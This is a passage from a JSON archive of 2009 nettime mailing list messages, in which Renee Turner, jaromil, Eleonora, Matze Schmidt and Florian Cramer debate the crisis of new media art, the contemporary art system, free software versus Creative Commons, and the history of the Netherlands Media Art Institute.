                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "20C7E909&#45;1381&#45;4CB2&#45;963B&#45;40479902EC2E {AT} xs4all.nl",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00075.html",
                                        "content-type": "text/plai",
                                        "author_name": "Renee Turner",
                                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                                    }
                                ],
                                "from": "Renee Turner <geuzen {AT} xs4all.nl>",
                                "content": "\nHi Florian,\n\nYou point towards a classic issue, the relevance of context. What do\ndifferent registers (fine art, media art, design, activism, popular\nculture etc.) give to a particular work and what does a categorization\nexclude, meaning what does it make *impossible*. Every register\ninfluences interpretation, (in)visibility, production and funding.\n\n> Since the 1990s, the so-called Fine Arts do provide no really\n> desirable environment either, likely they're even worse. It is\n> telling enough that the term \"Fine Art\" suddenly has become a\n> universally accepted standard while, not a long time ago, any\n> self-respecting contemporary artist would have fiercely rejected\n> if not opposed it. In the past ten years of reading contemporary\n> art magazines or visiting art biennales and Documentas, I've been\n> flabbergasted by the lack of vision and radicalism in this field. It\n> has morphed, somewhat comparable to New (composed) Music after the\n> 1960s, into an academic discourse ruled by a neo-bourgeois jet set\n> of hipster curators posing as cultural theorists on the basis of a\n> not-even-half-baked knowledge and recycling of postmodern philosophy\n> and cultural studies. The system consists of artists who have been\n> academically trained to produce works - along with non-understood\n> theory lingo - that fit the required curatorial buzz.\n\nCan you speak more specifically about which curators, what art\neducational programs, which artists and what practices? For a\nconstructive debate, it's important to avoid caricatures, otherwise\nthere's a risk of creating false enemies, or missing out on how to\nbest counter the real ones.\n\nAnd as an aside, I have to admit when I read \"not-even-half-baked\nknowledge\" and \"non-understood, I caught myself wondering who are\nthe guardians of proper interpretation when it comes to theory. (not\nto mention, which theories) After all, couldn't theory be mutable in\ndifferent contexts or even hackable? In other words, can it too be\npracticed, tested and changed once it hits the ground or encounters a\nspecific situation or discipline?\n\n> Along with this development, the paradigm of the white cube and art\n> works as good-looking exhibition objects has become stronger than\n> ever before and rules out any art practice not fitting this format.\n\nIt's true the white cube is a dominant force to be reckoned\nwith (or not, depending on what art world you dwell in ;-), but\ninterventionists/social/political practices have also continued....\n(both of the digital and analog sort). You mention UBERMORGEN, and I\nwould add The Temporary Travel Office, SubRosa, Mongrel, AUDC, Jorge\nBlasco's Cultures of the Archive, Marcelo Exposito's various projects,\nThe Center for Land Use Interpretation, Beatriz da Costa and others...\nMaybe \"tactical\" is a red thread through these works?\n\n> All the while, the system thrives on the delusion that it still\n> represents visual art as a whole although, unlike, for example, in\n> film where 'highbrow' and 'lowbrow' still coexist, its popular forms\n> like comic books, tattoos, fantasy figurines, t-shirt illustrations,\n> wildlife paintings... have long been excluded from its system.\n>\n\nhmmmm....not sure about this, having worked as a hybrid artist/\ndesigner/curator/media artist/collaborator for some time now, again\nI reiterate that there are many different artworlds (and for that\nmatter artists/inhabitants/vagrants). Sometimes they intersect, rub\nnext to each other, come into agitation or simply run on parallel\ntracks. (Not too disimilar from the so-called new media world.) Think\nof open source practitioners, the Max/Flash folk, and those that poach\nthe web's detritus for their own purposes, they're all a part of new\nmedia arts, but each tend to dwell in different corners of the digital\nuniverse (or maybe not, if you're one of those cross-pollinators :-)\n\n> Instead, we get artists like Mike Kelley all over the art\n> world in whose work I'm either not getting something or indeed\n> seeing the Emperor's new clothes. (\"Review\" babble like\n> http://www.frieze.com/issue/article/tomorrow_never_comes1/ affirms\n> the suspicion that the art world has no clue either.)\n\nI haven't seen this particular work so hesitate to judge. I do however\nfind it a little problematic to make sweeping statements about the\nEmperor's New Clothes and the \"art world's\" cluelessness based on one\nreview and one artist.\n\n\n>> Director Heiner Holtappels opened by noticing that new media art\n>> is not easily accepted by fine art. Traditional art has become\n>> eclecticism. According to Heiner, all art is technology based.\n>\n> This is true, yet contemporary art has mostly given up on reflecting\n> its media. [I can almost hear an iPhone-wearing curator saying that\n> reflecting one's media is outmoded modernism.]\n\nouch, how stereotypes do prevail. I wonder if there would be a\nparadigm shift if he/she had been envisioned with a pre-paid nokia.\n;-)\n\n\nRenee\nhttp://www.geuzen.org/\nhttp://www.fudgethefacts.com/\nhttp://www.geuzen.org/female_icons/\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00046",
                                "date": "Fri, 15 May 2009 18:07:37 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "5A46D3F4&#45;5F13&#45;4C5B&#45;97B1&#45;5327677F5920 {AT} xs4all.nl",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00046.html",
                                "content-type": "text/plai",
                                "author_name": "Renee Turner",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "jaromil <jaromil {AT} dyne.org>",
                                "content": "\n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n\nre all,\n\nfirst of all  thanks Matze for your consideration  of my activity, but\nlet me  warn you are  overestimating the benefits of  my collaboration\nwith Montevideo / Time Based  Arts ...  which is now called Nederlands\nInstituut voor Mediakunst  (NIMK, BTW): it takes more  to be \"rescuing\nthe middle-class fantasies  of a free arty market  of software\" as you\nsay, if  we speak of a national  institute that started in  a squat in\nAmsterdam 30 years  ago and has seen a  constant flow of contributions\nby various people  through all these years, most  of them really worth\nconsidering.\n\nOn Fri, May 15, 2009 at 05:23:12PM +0200, Matze Schmidt wrote:\n> I'd  like  to  point  out  at  this  point  that  institutions  like\n> Montevideo are revolutionizers of money, e.g. they payed Jaromil for\n> working on dynebolican stuff\n\nif it  would be just the  action of redistribution of  wealth, then it\nwouldn't  be   revolutionary  at  all.   Some   artists  produced  and\ndistributed  by Montevideo did  became rich,  but for  them Montevideo\nmostly contributed to the  production quality of their artworks rather\nthan direct funding.\n\njust consider that  if my lifestyle would be  \"middle-class fantasy\" i\ncould  not afford  to  sustainably  live in  Amsterdam  relying on  my\ncurrent employment, but lucky me i'm not a yuppie :) and i'm fine like\nthat.  for the  minimum support i get, needed as i  care to support me\nand my extended  family when needed, i have to do  much more than just\ndeveloping \"my own projects\", but still all results can be free to the\npublic,: that shouldn't be special for a public institution, right?  i\nbelieve this is the good signal  NIMK gives - not such a revolutionary\none, but pretty honest: there  are often various degrees of corruption\nleading   public  institutions  to   play  commercially   with  public\nresources.\n\nother  than that,  we can  call \"progressive  attitude\" -  rather than\nrevolutionary\" -  when institutions are keen to  interact with liminal\ncontexts,  with dwellers on  the dystopian  hearth pulsating  in every\nmetropolis of our \"Free Western World\".  This kind of interaction (and\nthe respect for the uncommon ground  in between) is indeed part of the\nheritage of  a city like Mokum  A - unfortunately  decaying rapidly as\nEurope is turning  into a Fortress for the  privileged and their fears\nof the disinherited children of the welfare mirage.\n\nat last  about the  interaction i  mention here: i'm  not sure  how to\ndefine it,  its likely  not a negotiation  nor a compromise,  i'm just\nsure  it is  necessary in  any case:  whether we  accept  the upcoming\ninstitutionalised  \"Reinvent  Yourself\"  strategy  or  not.   I  would\nrecommend  a  case-by-case  analysis  in  this  regards,  rather  than\nthinking universally... like institutions often do ;^)\n\nregarding your vague critiques let me reply:\n\n> with all effects of an open source software\"z\" driven by the mediate\n> support of the state.\n\ndyne.org  development  is not  driven  by  any  state, corporation  or\ninstitution rather  than by the  many problems these  power structures\ngenerate.  we  dedicate most  of our free  time to peer  reviewed free\nsoftware  development  in  socially  relevant  contexts  (please  note\n\"development\", not  provision of services)  and as hackers  we operate\npragmatically, on-line as well in various different on-site contexts.\n\n> But  while talking  to them  some  years ago  the Montevideo  people\n> turned out  to be  very naive in  political questions. They  have no\n> idea about  economy and  no idea of  what is  going on out  of their\n> field. That's  okay, as  long as they  incorporate all  folklore and\n> avantgarde at the sam time, because it is their mandate and mission.\n\ni'd  be  curious  to  know  what  you  consider  \"naive  in  political\nquestions\": myself  i've felt  enriched by the  past 4 and  more years\nspent  in  Amsterdam,  by my  colleagues  at  NIMK  (which is  not  so\nuniformed in its  composition BTW) as well by  the squatters in A'dam,\nfrom De Bierkoning to the Waag Society.\n\nbacking my  objection, i'll point you  out some coverage  on NIMK's 30\nyears symposium (just happened last week):\n\nhttp://www.we-make-money-not-art.com/archives/2009/05/the-netherlands-media-art-inst.php\n\npasting  you  here  the  transcription  of  my  intervention  at  this\nsymposium,  let  it  be   also  a  contribution  to  this  interesting\ndiscussion thread:\n\n                            ------------\n\nAt the NIMK's symposium \"Positions in Flux\" I've taken the occasion to\nshare thoughts  on the  current perception of  Free Software  and Open\nSource philosophy  in art,  along with some  overdue criticism  of the\nCreative Commons hollow  hype, as well of the  Creative Industries and\ntheir systematised processing  of art for the global  market.  Even if\nnot  obvious, I  believe the  dynamics  of these  two phenomenons  are\nrelated; among the quoted in the intervention are Benjamin Mako Hill's\n\"Towards a Standard of  Freedom: CreativeCommons and the Free Software\nMovement\"[1] and Florian Cramer's post on nettime \"The Creative Common\nMisunderstanding\"[2],  while  the vigorous  critique  of the  Creative\nIndustries  stands on  Rana Dasgupta's  essay  \"The Next  Idea of  the\nArtist  (Art,   music  and  the  present   threat  of  creativity)\"[3]\n\n\nHere below a short transcript:\n\n\"Open Source\" doesn't mean free access, nor open space or open air; it\npresumes  a  seamful[4]  approach  to  design as  a  response  to  the\nincreasing  reliance  on  technology  and  its  accessibility;  it  is\ninteractive without prescribed  boundaries, following a combinatorial,\ngenerative approachto development;  it is peer to peer  as no producer\ncan control further interaction patterns; it is grassroot as creations\nare  born out  of  initiative and  cohesion  based on  needs felt  and\nunderstood in first person by community members.\n\nAbout  Creative  Commons, its  motto  \"Some  rights  reserved.\"  is  a\nrelatively  hollow  call:  the  slogan  factually  reverses  the  Free\nSoftware and Open Source philosophy  of reserving rights to users, not\ncopyright owners,  in order  to allow the  former to  become producers\nthemselves. The dis/appropriating loop of creativity must be recursive\nto be  fruitful: not only  productionmeans belong to the  people using\nthem, further creations  should be free to be  recombined. rights must\nbe granted  focusing on people  interacting, not just  those providing\nthe interactive infrastructure.\n\nUnfortunately there  is a diffuse lack of  perception for alternatives\noffered by  the Open  Source and Free  Software approach  over current\nprofit models.  As  a present problem, also deriving  from the lack of\nunderstanding  of the  importance of  grass-root  creativity, top-down\ncultural   management  is   patronising   art  production:   massmedia\naesthetics of  an entirely sanitised and efficient  creativity, of the\nsort  that will  not  rely on  unstable  people and  can therefore  be\nglobally rationalised.\n\nThat the  great artists of  modern Western culture managed  to produce\nwhat they  did, despitethe danger  and intensity of their  effort, was\ndue in large  part to improvised social forms  built around close-knit\nnetworks  where  thought and  affect  circulated  with high  velocity,\nandwhere it  was possible to  try out forms of  non-conventional human\nrelationships that would  not destroy, nor be destroyed  by, a life of\nart. Seen  from an historical perspective,  In the second  half of the\ntwentieth  century many  of the  functions of  creative  networks were\nalready  taken  over in  Europe  by  institutions (government  funding\nbodies,  universities,  museums,  etc)  and much  of  their  excessive\nfeeling  wasneutralised. This  was  only  a small  part  of a  general\nprocess of the time: the absorption of human emotion into bureaucratic\nchannels,  and the  emergence of  a social  coolness,  anefficiency of\nfeeling.\n\nAt this  stage in the  twenty-first century, we  are in the  middle of\nanother   large-scale  restructuring  of   ideas  of   creativity  and\nculture. As one of the most significant generators of image and value,\ncreativity now has become a  critical resource for the global economic\nengine.   What creativity  is,  and  how it  can  be systematised  and\ncirculated, are therefore  urgent questions of contemporary capitalist\norganisation.   As  cultural  producers   are  thrust  into  the  full\nintensity of  globally dispersed, just-in-time  production, new images\nof creative inspiration and output are required that sit tidily within\nthe systematised  processes of the  global market. Creativity  must be\nrendered comprehensible,  transparent and rational: there  can be none\nof  the destructive  excesses  evident in  the  lives of  many of  the\ngreatest  artists  of  European  history.  Creativity  must  circulate\ncleanly and quickly, and it  should leave no dirty remainder. For what\ninterests Hollywood, and the market in general, is not creativity as a\ncomplex human  process, weighed down  in bodies and  relationships and\nempty days,  but creativity as  an abstraction, free  of irrationality\nand  pain, and  light enough  to  hover like  a great  logo above  the\ncontinents.\n\nPerhaps, as the logic  of systematised production occupies the terrain\nof human  creativitymore completely,  we will reach  a stage  where we\nsurrender  all knowledge  about  this troubling  domain,  and it  will\nbecome entirely alien  to us. Perhaps one day we  will be terrified of\nwhat  explosive dangers  might rise  up from  the creativity  of human\nbeings.\n\n[1] http://mako.cc/writing/toward_a_standard_of_freedom.html\n\n[2] http://www.nettime.org/Lists-Archives/nettime-l-0610/msg00025.html\n\n[3] http://ranadasgupta.com/texts.asp?text_id=45\n\n[4] http://www.themobilecity.nl/2008/01/05/designing-for-locative-media-seamless-or-seamful-experiences/\n\n\n- -- \n\njaromil, dyne.org developer, http://jaromil.dyne.org\n\nGPG: 779F E8B5 47C7 3A89 4112  64D0 7B64 3184 B534 0B5E\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.9 (GNU/Linux)\n\niEYEARECAAYFAkoP/aAACgkQe2QxhLU0C15y4ACeKYaj8pNKu7lS/Z1sIuVUtbfL\nmBUAn2h7gwq7AN0Gsv+lgidMWqZoga1q\n=Skrp\n-----END PGP SIGNATURE-----\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00047",
                                "date": "Sun, 17 May 2009 14:05:54 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20090517120554.GA4808 {AT} dyne.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00047.html",
                                "content-type": "text/plai",
                                "author_name": "jaromil",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "\"xname\" <root {AT} xname.cc>",
                                "content": "> jaromil said:\n> Montevideo / Time Based  Arts ...  which is now called Nederlands\n> Instituut voor Mediakunst  (NIMK, BTW)\n> if  we speak of a national  institute that started in  a squat in\n> Amsterdam 30 years  ago\n\nHello.\n\nI did not remember that the 'Nimk' was started in a squat: isn't this the\nstory of Paradiso and Melkweg?\n\nAs far as I know the 'Netherlands Media Art Institute' was born when\n'Monte Video' and 'Time Based Arts' merged (1993).\n\nMonte Video was founded by Ren\u00e9 Coelho in 1978, and initially operated\nfrom his house in Amsterdam. (was that squatted? I tend to doubt.)\nMonte Video focused on video art and provided equipment for producing\nworks and space to show them (soon collecting and distributing...\nvideo-tapes!).\n\nTime Based Arts was founded in 1983 by the Association of Video Artists,\nso it was an artists run association creating a network for distribution;\nit was more performance oriented than Monte Video, according to the story\nthat was narrated to me, and which I deduced from the collection. (Can\nanyone confirm this, please?)\nWere they squatting? But they were getting funding...\nI am somewhat curious.\n\nMaybe other people on this list know more.\n\nThere is a page of history on the nimk.nl, but i saw no wikipedia entry on\nthis topic.\nI find the *story of this institute quite beautiful and paradigmatic in\nthe development of the (non-linear) chain of media mutations (which could\noff course be expanded):\n\nhappening/performance (art=life)\nelectronic art\nvideo-art (art=registration)\nmedia-art, software-art (art=simulation)\n\nI paste it below.\n\nBest,\nEleonora\n\n===\n\n**History**\n\n1978\nMonte Video is founded by Ren\u00e9 Coelho. From his home on the Singel in\nAmsterdam he makes equipment and documentation available, and furnishes\none room as a gallery. The first video artist whose work is shown here on\nthe Singel was Livinus van de Bundt, Coelho's inspiration. Other artists,\nsuch as Bill Viola, Gary Hill, Shelly Silver and Gabor Body, soon make\ncontact. It is not long before Monte Video has a large selection of works\navailable for rental.\n\n1983\nThanks to government funding Monte Video is able to move to Amsterdam\nNorth. There is now sufficient space to offer regular presentations. Not\nonly Dutch artists, but also those from other countries are given a chance\nto show their videos or installations.\n\n1986\nGovernment funding received by Monte Video is cut back to almost nothing.\nMonte Video does receive several small transitional grants from the city\nof Amsterdam.\nTime Based Arts, which had been founded in 1983 by the Association of\nVideo Artists, is fast becoming well-known as a distributor of video art,\nand continues receiving government funding.\n\n1986-1993\nRen\u00e9 Coelho continues on his own. Monte Video moves back to his home on\nthe Singel. The acquisition of production facilities, distribution,\ndocumentation and promotion goes on, financed from his own income and by\norganizing large projects. One of these, as an example, was 'Imago', an\nexhibition of Dutch video installations which toured worldwide for five\nyears beginning in 1990. There were also plans laid for the first\nconservation programs for video art.\nThe chairman of Time Based Arts, Aart van Barneveld, died; his death was\nfollowed by many conflicts within the organization. In the early 1990s\nTime Based Arts also lost its subsidies and threatened to go under. Monte\nVideo and Time Based Arts decide to provide a joint art program for\nAmsterdam cable TV, Channel Zero.\n\n1993\nTime Based Arts merges with Monte Video. Their work is continued under the\nnew name of Netherlands Media Art Institute, Montevideo/Time Based Arts.\nThis fusion does free up national funding. In both 1997 and 2001 the\ngrants are expanded and converted into a structural subsidy for four\nyears.\n\n1993-2002\nThe Netherlands Media Art Institute moves twice, in 1994 to the Spuistraat\nand in 1997 to its present location on the Keizersgracht.\nThe Institute continues to grow through these years, and adopts the\nfollowing mission statement: The Netherlands Media Art Institute supports\nmedia art in three core areas: presentation, research and conservation. At\nthe same time, through its facilities it offers extensive services for\nartists and art institutions. Among these services are educational\nprograms, to be developed to accompany all activities.\n\nand\n\n**History of the Collection**\n\nThe collection of the Netherlands Media Art Institute, Montevideo/Time\nBased Arts reflects the turbulent history of the Institute. In addition to\nthe collection of Monte Video, the predecessor of the Netherlands Media\nArt Institute, the Institute administers the collections of four\ninstitutions: the Lijnbaan Center (1970-1982), Time Based Arts\n(1983-1994), De Appel (1975-1983) and the Institute Collection\nNetherlands. This combination of artists' initiatives (Time Based Arts, De\nAppel and the Lijnbaan Center) and more formal institutions (Institute\nCollection Netherlands and the present Netherlands Media Art Institute)\naffords the collection a surprising diversity. In addition to renowned\nartists like Bill Viola, Nam June Paik and Gary Hill (who were represented\nin the collection as far back as the 1970s), there are internationally\nknown Dutch artists who experimented with the medium for only a short\nperiod in the 1970s, such as Marinus Boezem, Jan van Munster and Pieter\nEngels.\nBefore any institutions at all had yet been created for the purpose of\ncollecting small centers were set up in various parts of The Netherlands\nwhich facilitated and promoted the use of video by and for artists. The\nearliest examples of this were Agora Studios in Maastricht, the Lijnbaan\nCenter in Rotterdam (itself a merger of the studio of Venster in Rotterdam\nand the video studio which was set up for the Sonsbeek exhibition in 1971\nin Arnhem), and a couple of individuals such as the artists Miguel-\u00c1ngel\nC\u00e1rdenas and Jack Moore in Amsterdam, who made their cameras available for\nother artists. Many of the works which were made in this earliest period\nof Dutch video art only surfaced from oblivion in the course of the 1990s.\nSurprising discoveries among them are the works of Dennis Oppenheim, Terry\nFox, Wim Gijzen, Nan Hoover and Tajiri.\n\nWith the arrival of the collection of De Appel an enormously rich\ncollection of video records of performances was added. De Appel flourished\nin the 1970s as one of the most progressive international work sites for\nperformance art. The collection of this institution contained unique works\nby Vito Acconci, Laurie Anderson, Gina Pane, Carolee Schneemann and\nothers. But in addition to records of events in her own gallery, Wies\nSmalls, the founder of De Appel, also built up a collection of\ninternational video art in order to enable the Dutch public to become\nacquainted with what was happening internationally, including work by\nDouglas Davis, Ulrike Rosenbach, Joan Jonas and Alison Knowles.\n\nIn the early 1980s, with De Appel as its base, efforts were begun to\nestablish an association for video artists, which later created the Time\nBased Arts Foundation. The collection of this artists' association, in\naddition to works by artists based in The Netherlands, such as\nAbramovic/Ulay, Hooykaas/Stansfield, Ben d'Armagnac, Christine Chiffrun\nand Lydia Schouten, also included work by international artists like Mona\nHatoum and General Idea.\nTime Based Arts maintained an active collection policy, in which any\nartist who worked with video could try to have his or her work included in\nthe collection. As it grew the collection became enormously diverse and\nafforded a good overview of the various ways that video could be employed\nin the visual arts. Through in to the 1990s Time Based Arts played an\nimportant role in the collection, distribution and support of video art\nuntil, in 1994, under pressure from the municipal authorities of\nAmsterdam, it entered into a merger with Monte Video.\n\nRen\u00e9 Coelho began his video gallery Monte Video in 1978, and in doing so\nlaid the foundation for the present Institute. Monte Video was a gallery\nwhich specialized in electronic art and especially in video art that\nsought out the creative possibilities and qualities of the medium itself.\nAn important impetus for establishing the institution was the work of the\nDutch video pioneer Livinus van de Bundt. He was therefore the first\nartist to be shown in the gallery. Later the Vasulkas, Bert Schutter,\nPeter Bogers, Matthew Schlanger and many others followed. In addition to\nthe works that were to be seen in the gallery, Monte Video began to be\nactive in collecting and distributing work. Bill Viola, Gary Hill, Shelly\nSilver and Gabor Body were for instance artists who 'stabled' their work\nwith Monte Video. The gallery owed its international success chiefly to\nthis. When in the 1990s the conservation of video works became a pressing\nproblem, the then merged Montevideo/Time Based Arts established itself as\nthe goad and later as the center of technical expertise for carrying out\nthe Conservation of Dutch Video Art project. As well as the collections\ndescribed above, there was integral cooperation with museums that over the\ncourse of time had also collected video work. In addition to much\ntechnical research, the conservation efforts also prompted considerable\nrecording work and research into content. Among questions dealt with were\nthe status of the vehicle, the significance of the material chosen and\nestablishing the boundary conditions for proper exhibition. Because of the\ndifferences in approach among the institutions from which they came,\nconsiderable time was spent integrating the collections with one another,\nand getting the possibilities for the use of the works coordinated with\none another. But now, with the end of the conservation project in sight,\nthe gaps between the collections appear to be closing ever more, and we\ncan proudly present our multi-faceted collection to the public, as we do\nhere.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00050",
                                "date": "Sun, 17 May 2009 15:40:16 +0200 (CEST)",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "3266070d80132b99ebf3351b5cb71455.squirrel {AT} tuxic.nl",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00050.html",
                                "content-type": "text/plai",
                                "author_name": "xname",
                                "subject": "Re: <nettime> Media Mutations - Life | Registration | Simulation (was: Political Work in the Aftermath of the New Media Arts Crisis)"
                            },
                            {
                                "from": "Matze Schmidt <matze.schmidt {AT} n0name.de>",
                                "content": ">> [...] Arts\n\n> what art\n\n> True, art\n\nIn short: No money (as one of the forms of profit) without art, no art\nwithout politics. This is a simple formula and any Baudrillard would\nhave secretly subcribed this, even in an epoch of ended (Hegel and \nfollowers) or never realized (Debord and followers) art. The fact is,\nwe* don't need art as art, but -- and someone like jaromil shows this\nto us** -- we need other conditions, as painting, code or video or\ndiy-cooking if you like, I don't care -- changing media is always good.\nBut we are not able to produce the conditions 'now' -- like someone like\njaromil is may thinking -- because the conditions produce us, alienate\nus; they will allways produce us (products produce consumption and vice\nversa), but these conditions are (straightforward now) have to be\nuncaged from ruling modes of production, in the meant sector reproduced\nby national institutions (ZKM in Germany, Ex-Montevideo in NL, your\npersonal MTV at home). The New Media Arts Crisis is not my crisis, It's\njust the crisis of the middle-class (Yuppie or not, fallen programmer or\nrising video-installer) in form of some arts with newer or older media,\nmay it a t-shirt or an lcd. So there is no aftermath here but the\neffects of a mixed up (I love this status and condition) highbrow, baby!\nelite meshed with an alternative \"green\" and independent buisness party\nwith no idea of real coding out there (forget networks, they are roped\nparties).\n__________\n* and ** Me, I and you as the readers who follows this text.\n\nM\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00059",
                                "date": "Mon, 18 May 2009 11:22:02 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "1739011317.20090518112202 {AT} n0name.",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00059.html",
                                "content-type": "text/plai",
                                "author_name": "Matze Schmidt",
                                "subject": "Re: <nettime> Media Mutations - Life | Registration | Simulation\t(was: Political Work in the Aftermath of the New Media Arts Crisis)"
                            },
                            {
                                "from": "lorian Cramer <fc-nettime {AT} pleintekst.nl>",
                                "content": "\nHey Renee,\n \n> You point towards a classic issue, the relevance of context. What do\n> different registers (fine art, media art, design, activism, popular\n> culture etc.) give to a particular work and what does a categorization\n> exclude, meaning what does it make *impossible*. Every register\n> influences interpretation, (in)visibility, production and funding.\n\nYeah, and inevitably, these registers are not just different chosen\nperspectives we have on particular works, but also institutional and\ndisciplinary contexts in which workers have to put their work and\nwhose written and unwritten rules they can't avoid abiding.\n\n> Can you speak more specifically about which curators, what art\n> educational programs, which artists and what practices?\n\nI was really thinking of the contemporary art system as it has been\ndescribed by its own protagonists, for example in Isabelle Graw's\n2008 book \"Der grosse Preis\", or has been analyzed, with means that\nreally deserve the term \"artistic research\", by Hans Haacke as early\nas in the 1970s in such pieces as \"The Chocolate Master\". And many\npeople have criticized that system from within, from Henry Flynt in\nthe 1960s to the writer and \"Thing Hamburg\"-blogger Michel Chevalier\ntoday. I think it is legitimate to make a sweepingly general critique\nof the contemporary art system just as it is legitimate to generally\ncriticize and attack the music industry and contemporary popular music\nsystem for example. That doesn't mean that there would be absolutely\nno good music coming out of that system. But unlike other culture\nindustries, the contemporary (Fine) Art system often falsely believes\nin its own autonomy. And it's my general experience and opinion that\nthe art I'm more interested in is more often than not to be found in\nplaces outside that system. In the 1960s, this was true for Fluxus\nand Situationism, in the 1970s and 1980s for the Mail Art Network and\npostpunk, and in the 1990s for Net.art, the Luther Blissett project or\nthe alternative pornography movement. Today, to speak in terms of our\nboth hometown Rotterdam, I'm finding the interesting contemporary arts\nat places like WORM and De Player and only rarely at Witte de With,\nfor example.\n\n> For a constructive debate, it's important to avoid caricatures,\n> otherwise there's a risk of creating false enemies, or missing out\n> on how to best counter the real ones.\n\nWell, this is true, and I admit that my posting was polemical\n- and emotional. My gripes with the contemporary art\nsystem are also based on bad personal experience and\nconfrontations such as the one with the \"Just Do It\" exhibition\n<http://www.mail-archive.com/nettime-l {AT} bbs.thing.net/msg02876.html>.\n\n> hmmmm....not sure about this, having worked as a hybrid artist/\n> designer/curator/media artist/collaborator for some time now, again\n> I reiterate that there are many different artworlds (and for that\n> matter artists/inhabitants/vagrants).\n\nIndeed. It's just that the particular art world I mentioned above\n- and which can be roughly described as the art world of the many\nbiennials, the Documenta, contemporary art spaces like PS.1 and KW,\ncontemporary art journals like October, Texte zur Kunst, Springerin\nand Metropolis M, too often monopolizes the term \"art\" for the art\nthat it represents. Admittedly, its system can be permissive and\ninclude 'outside' practices, particularly when a curatorial subject\nrequires it. However, it would be possible to map the institutions\nmentioned above just by the overlap of the people they involve,\nand come up with a fairly good representation of what makes up\ncontemporary art.\n\nThey same is true, no doubt, if you take ars electronica, transmediale\nand ISEA, plus Leonardo, Neural, Rhizome and Nettime, ZKM and ICC\nTokyo, and pin down the system \"media art\". But just as that latter\nsystem is now being - deservedly - questioned and undergoing a huge\nif not terminal structural crisis, I think it is as legitimate to\nquestion the contemporary Fine Art system, and the Western concept of\nautonomous art. So, going back to Geert's initial report about the\ndiscussion about the crisis of \"Media Art\" at Montevideo Amsterdam,\nI think that it can't be a solution to integrate a very questionable\n\"media art\" system into an equally questionable contemporary art\nsystem. [As it is now happening, in education, too, for example in the\nZurich art school media department where Felix Stalder teaches, and\nwhere the media programme has been rolled back into Fine Art on the\nMaster level.]\n\n> Sometimes they intersect, rub next to each other, come into\n> agitation or simply run on parallel tracks. (Not too disimilar from\n> the so-called new media world.) Think of open source practitioners,\n> the Max/Flash folk, and those that poach the web's detritus for\n> their own purposes, they're all a part of new media arts, but each\n> tend to dwell in different corners of the digital notion universe\n> (or maybe not, if you're one of those cross-pollinators :-)\n\nYep, only that what you describe above is really declining and may not\nsee much art funding or support in the future. The writing is on the\nwall.\n\n> >> Director Heiner Holtappels opened by noticing that new media art\n> >> is not easily accepted by fine art. Traditional art has become\n> >> eclecticism. According to Heiner, all art is technology based.\n> >\n> > This is true, yet contemporary art has mostly given up on\n> > reflecting its media. [I can almost hear an iPhone-wearing curator\n> > saying that reflecting one's media is outmoded modernism.]\n>\n> ouch, how stereotypes do prevail. I wonder if there would be a\n> paradigm shift if he/she had been envisioned with a pre-paid nokia.\n> ;-)\n\nI should have told that the above example was taken from a real\nlife experience, although it's admittedly a deliberate caricature\nwhen I I blew it out of proportion as above. I agree very much with\nBrian that artistic practices (to put it as broadly) are deeply\nintertwined in culture and communication. There's a good chance,\nand I really mean this, that I am getting old - in punk terms:\na boring old fart - who's insisting on outmoded viewpoints. But\nI think that critiques of modernism, as legitimate as they are,\nbecome problematic when they're used to legitimize and maintain the\nstatus quo. [An extreme example is the contemporary art gallery\nscene and private collections in Berlin and their intrinsic links to\nthe German discourse of \"Neue B\u00fcrgerlichkeit\" (\"new bourgeoisie\")\n<http://de.wikipedia.org/wiki/Neue_B\u00fcrgerlichkeit>.] The current\neconomic, political and social developments should render all\nnotions of posthistoire and non-rupture in the fabric of culture and\ncommunication, and hence also in the arts, all the more obsolete.\nThey also question the bourgeois insistence on artistic practice as a\nproduct of individual subjectivity. And finally, the contemporary art\nfield has been much ahead of the media art system in postcolonialism;\nhowever, if this reflection is serious, it should not exclude the\nnotion and system of art itself.\n\nWell, anyway, since the Geuzen collective of which you're a member\noperates in its own carefully chosen grey zone between art, activism,\ndesign, media, research and education, I actually think that our\nstandpoints are quite similar, just that our points of departure\nregarding the usefulness of the contemporary art system might\ndiffer. For me, the projects of De Geuzen are a very good example\nfor a post-autonomous artistic practice. Again, although I'm no\nfriend of the media art system, I'm quite sure that it would be\npractices like those of the Geuzen that would suffer and struggle\nto find institutional support once the \"media art\" system will\nhave vanished and been replaced with the existing contemporary art\nsystem (particularly the more cut-throat kind of the 